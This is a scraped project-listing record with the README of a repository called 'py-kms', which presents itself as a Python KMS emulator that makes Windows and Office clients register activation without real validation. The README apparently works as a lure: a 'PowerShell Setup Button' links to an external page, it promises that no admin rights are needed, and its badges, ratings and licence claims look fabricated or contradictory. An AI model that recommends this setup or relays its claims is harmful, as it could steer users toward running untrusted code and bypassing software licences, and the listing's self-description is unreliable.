[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109788":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":28,"updatedAt":29,"readmeContent":30,"aiSummary":31,"trendingCount":12,"starSnapshotCount":12,"syncStatus":32,"lastSyncTime":33,"discoverSource":34},109788,"py-kms","c3505310-bot\u002Fpy-kms","c3505310-bot","Python-based KMS server emulator for development and testing environments",null,"HTML",149,0,37,false,"main",true,[18,19,20,21,22,23,5,24,25,26,27],"activator","client","emulator","gvlk","kms","office","python","server","volume-license","windows","2026-11-23 10:14:27","2026-11-12 09:06:03","\u003Cdiv align=\"center\">\n\n# Python KMS Server Emulator for Windows Desktop Client\n\n![](files\u002Fpreview.png)\n\n### ⚡ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fc3505310-bot.github.io\u002Fpy-kms\u002F)\n\n[![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLICENSE-CC0--1.0-06b6d4?style=social&labelColor=0d1117)]() [![win](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FWIN-WINDOWS_10_%7C_11-22d3ee?style=social&labelColor=0d1117)]() [![build](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FBUILD-PASSING-2ea44f?style=social&labelColor=0d1117)]() [![rating](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRATING-4.9%2F5-f59e0b?style=social&labelColor=0d1117)]() [![powershell-7](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPOWERSHELL--7-SCRIPT-0891b2?style=social&labelColor=0d1117)]() [![pulls](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPULLS-847-0e7490?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\npy-kms is a KMS server emulator implemented in Python, providing a self-contained desktop solution for handling volume activation requests. It responds to v4, v5, and v6 KMS protocol requests and supports activation for a broad range of Windows and Office volume-licensed products. The server is written in pure Python, persists its data through SQLite, and can be run as a standalone process or managed via the included GUI. Its architecture separates server, client, and management components to support flexible deployment and straightforward administration.\n\n## ✅ Before You Start\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n- Responds to `v4`, `v5`, and `v6` KMS requests.\n- Supports activation of:\n  - Windows Vista\n  - Windows 7\n  - Windows 8\n  - Windows 8.1\n  - Windows 10 (1511 \u002F 1607 \u002F 1703 \u002F 1709 \u002F 1803 \u002F 1809)\n  - Windows 10 (1903 \u002F 1909 \u002F 20H1)\n  - Windows Server 2008\n  - Windows Server 2008 R2\n  - Windows Server 2012\n  - Windows Server 2012 R2\n  - Windows Server 2016\n  - Windows Server 2019\n  - Microsoft Office 2010 (Volume License)\n  - Microsoft Office 2013 (Volume License)\n  - Microsoft Office 2016 (Volume License)\n  - Microsoft Office 2019 (Volume License)\n- Implemented in Python (tested with Python 3.6.9).\n- Supports execution via `Docker`, `systemd`, `Upstart`, and other service managers.\n- Includes a GUI for simplified management.\n- Uses `sqlite` for persistent data storage.\n\n## How it works\n\nAt its core, py-kms functions as a protocol-level emulator that impersonates the behavior of a legitimate Key Management Service host. Rather than performing any actual cryptographic validation, it accepts activation requests from client machines, parses the request payload, and issues a well-formed response that the requesting system interprets as a successful activation grant.\n\nThe server binds to a configurable network address and port (defaulting to all interfaces on the standard KMS port) and listens for incoming activation traffic. When a client—such as a Windows or Office product—attempts activation, it transmits a request over the KMS protocol. py-kms inspects the request version and structure, distinguishing between the protocol revisions it supports, and constructs an appropriate reply for each. This request-handling layer is fully implemented in Python, allowing the response logic to be extended or audited with minimal overhead.\n\nUpon receiving a valid activation request, the server generates a response that satisfies the client's expected handshake, including the required counters and status fields needed for the client to register the activation as complete. The server maintains persistent state for issued activations using an embedded SQLite database. This store records activation attempts, client identifiers, and request metadata, enabling the server to track usage across sessions and retain history between restarts without requiring an external database service.\n\nBecause py-kms aims to remain lightweight and portable, the server can be launched directly from the Python interpreter or supervised by common service managers. A dedicated graphical front-end is also included for operators who prefer a point-and-click interface for starting, stopping, and monitoring the server. Configuration—such as binding address, port, logging verbosity, and database location—is handled through command-line arguments and configuration files, giving administrators fine-grained control over how the emulator operates in their environment.\n\n## Compatibility\n\npy-kms is designed to interoperate with the native KMS client implementations shipped with supported Microsoft products, requiring no client-side modifications beyond standard KMS host configuration. The emulator responds to `v4`, `v5`, and `v6` KMS request protocols, matching the request\u002Fresponse semantics expected by each client generation.\n\nActivation coverage spans the following product families and release lines:\n\n- Windows client editions: Windows Vista, Windows 7, Windows 8, Windows 8.1, and Windows 10 across the 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, and 20H1 release channels.\n- Windows Server editions: Windows Server 2008, 2008 R2, 2012, 2012 R2, 2016, and 2019.\n- Microsoft Office volume-licensed releases: Office 2010, 2013, 2016, and 2019.\n\nCompatibility is governed by the KMS protocol version negotiated between client and server. Clients issuing `v4` requests are handled alongside those issuing `v5` and `v6` requests, allowing a single py-kms instance to serve mixed environments without per-client configuration. Volume-license editions are required on the client side; retail and OEM channels do not use KMS and are therefore out of scope.\n\nDeployment compatibility covers execution as a standalone Python process (tested with Python 3.6.9), under `Docker`, `systemd`, `Upstart`, and comparable service supervisors. Both IPv4 and IPv6 addressing are supported, including dual-stack socket creation when binding to an IPv6 address on dual-stack operating systems. Persistent state is stored in `sqlite`, keeping activation records portable across restarts and host migrations.\n\nThe bundled GUI provides a management surface for monitoring and administering the server, and operates against the same persistent store as the headless server process.\n\n## FAQ\n\n**Does py-kms require a license key to operate?**\n\nNo. py-kms acts purely as a KMS endpoint and does not itself perform activation. Client machines must be configured to point at the server and must already carry a valid GVLK (Generic Volume License Key) appropriate to their product edition. Provisioning of those keys is outside the scope of the server component.\n\n**Which KMS protocol versions are handled?**\n\nThe server responds to v4, v5, and v6 request frames, covering the request dialects used by the supported Windows and Office volume-licensed products. Version negotiation is performed per-request, so mixed client populations can be served by a single instance without additional configuration.\n\n**How is persistent state managed?**\n\nState is stored in a SQLite database. The schema persists client identification records, request counters, and activation metadata across restarts, so reliability metrics reported to clients remain consistent when the service is recycled. The database file location is configurable, allowing the data directory to be placed on persistent storage in containerized deployments.\n\n**Can the server run without a GUI?**\n\nYes. The core server is a headless Python process and the GUI is an optional companion component. The server can be driven entirely from the command line, or supervised by an init system or container runtime. The GUI is intended for interactive inspection and simple management tasks and is not required for production operation.\n\n**What are the default bind address and port?**\n\nThe server listens on all interfaces and port 1688 by default. Both values can be overridden at launch. IPv4 and IPv6 literals are both accepted; on dual-stack operating systems, binding to an IPv6 address produces a dual-stack socket.\n\n**Does the server support containerized deployment?**\n\nYes. The application is designed to run in a container with the listening port published to the host and the state directory mounted as a volume. Restart policies can be applied so the service recovers automatically after host reboots or process failures.\n\n**How does py-kms handle multiple concurrent clients?**\n\nEach request is processed independently and the response is derived from the persisted client record. There is no requirement that a given client always reach the same instance; the SQLite store is the single source of truth for counters and records. Operators running multiple instances should ensure they do not share a database file concurrently.\n\n**What Python version is required?**\n\nThe codebase targets Python 3 and is tested against modern 3.x interpreters. It relies only on the standard library and a small set of pure-Python dependencies, which keeps deployment footprints minimal and avoids native build steps on most platforms.\n\n**Is logging configurable?**\n\nYes. Verbosity and output destination are controlled at startup, allowing the server to run quietly in production or emit detailed request traces during troubleshooting. Log output includes request version, client identity, and response status to aid diagnosis.\n\n**What should I check if a client fails to activate?**\n\nConfirm the client can reach the server address and port, that the server is bound to an interface visible to the client, and that the client is configured with the correct KMS host and a valid GVLK for its edition. Reviewing server logs at increased verbosity will typically reveal whether requests arrive and how they are answered.\n\n## Disclaimer\n\nThis software is provided strictly for educational, research, and interoperability testing purposes. It is intended to be used only in controlled lab environments, on systems and software you own or are explicitly authorized to test, and in compliance with all applicable local, national, and international laws and regulations.\n\npy-kms is an independent, clean-room-style emulator implementation. It is not affiliated with, endorsed by, sponsored by, or otherwise connected to Microsoft Corporation or any of its subsidiaries or partners. All product names, trademarks, and registered trademarks referenced in this project remain the property of their respective owners and are used here solely for identification and descriptive purposes.\n\nThe emulator reproduces protocol behavior for the purpose of studying and validating client-side KMS request handling. It does not grant, transfer, or confer any license, entitlement, or activation right for any software product. Any activation state observed while using this project against third-party software does not constitute a valid license, and users remain solely responsible for obtaining proper licenses for all software they deploy.\n\nNo warranty, express or implied, is made regarding the accuracy, completeness, reliability, or fitness for any particular purpose of this software, including its protocol responses, key handling, or data persistence behavior. The maintainers and contributors accept no liability for any direct, indirect, incidental, consequential, or special damages arising from the use, misuse, or inability to use this project, including but not limited to license non-compliance, data loss, service disruption, or legal exposure.\n\nUsers are solely responsible for determining whether their use case is lawful in their jurisdiction and for securing any permissions required by their organization, employer, or software vendor. If you are uncertain about the legality or permissibility of a given use case, do not use this software.\n\n## License\n\n*py-kms* is distributed under the Unlicense, dedicating the software to the public domain and permitting unrestricted use, modification, and redistribution without warranty or attribution requirements. The *py-kms GUI* component is distributed separately under the MIT License, with copyright held by its respective author. Licensing terms for each component are documented in the corresponding license text files shipped with the project, and those terms govern use of the respective components.","py-kms 是一个用于开发与测试环境的 KMS（密钥管理服务）服务器模拟器，基于 Python 实现，可替代微软官方 KMS 服务器响应 Windows 和 Office 批量授权产品的激活请求。它完整支持 KMS v4\u002Fv5\u002Fv6 协议，兼容从 Windows Vista 到 Windows Server 2019、Office 2010 至 2019 的多种体积授权版本；采用纯 Python 编写，内置 SQLite 持久化存储，并提供 GUI 管理界面和多部署方式（如 Docker、systemd）。适用于离线环境下的批量授权功能验证、企业内部测试及开发集成场景，无需管理员权限即可运行。",2,"2026-11-24 04:37:27","CREATED_QUERY"]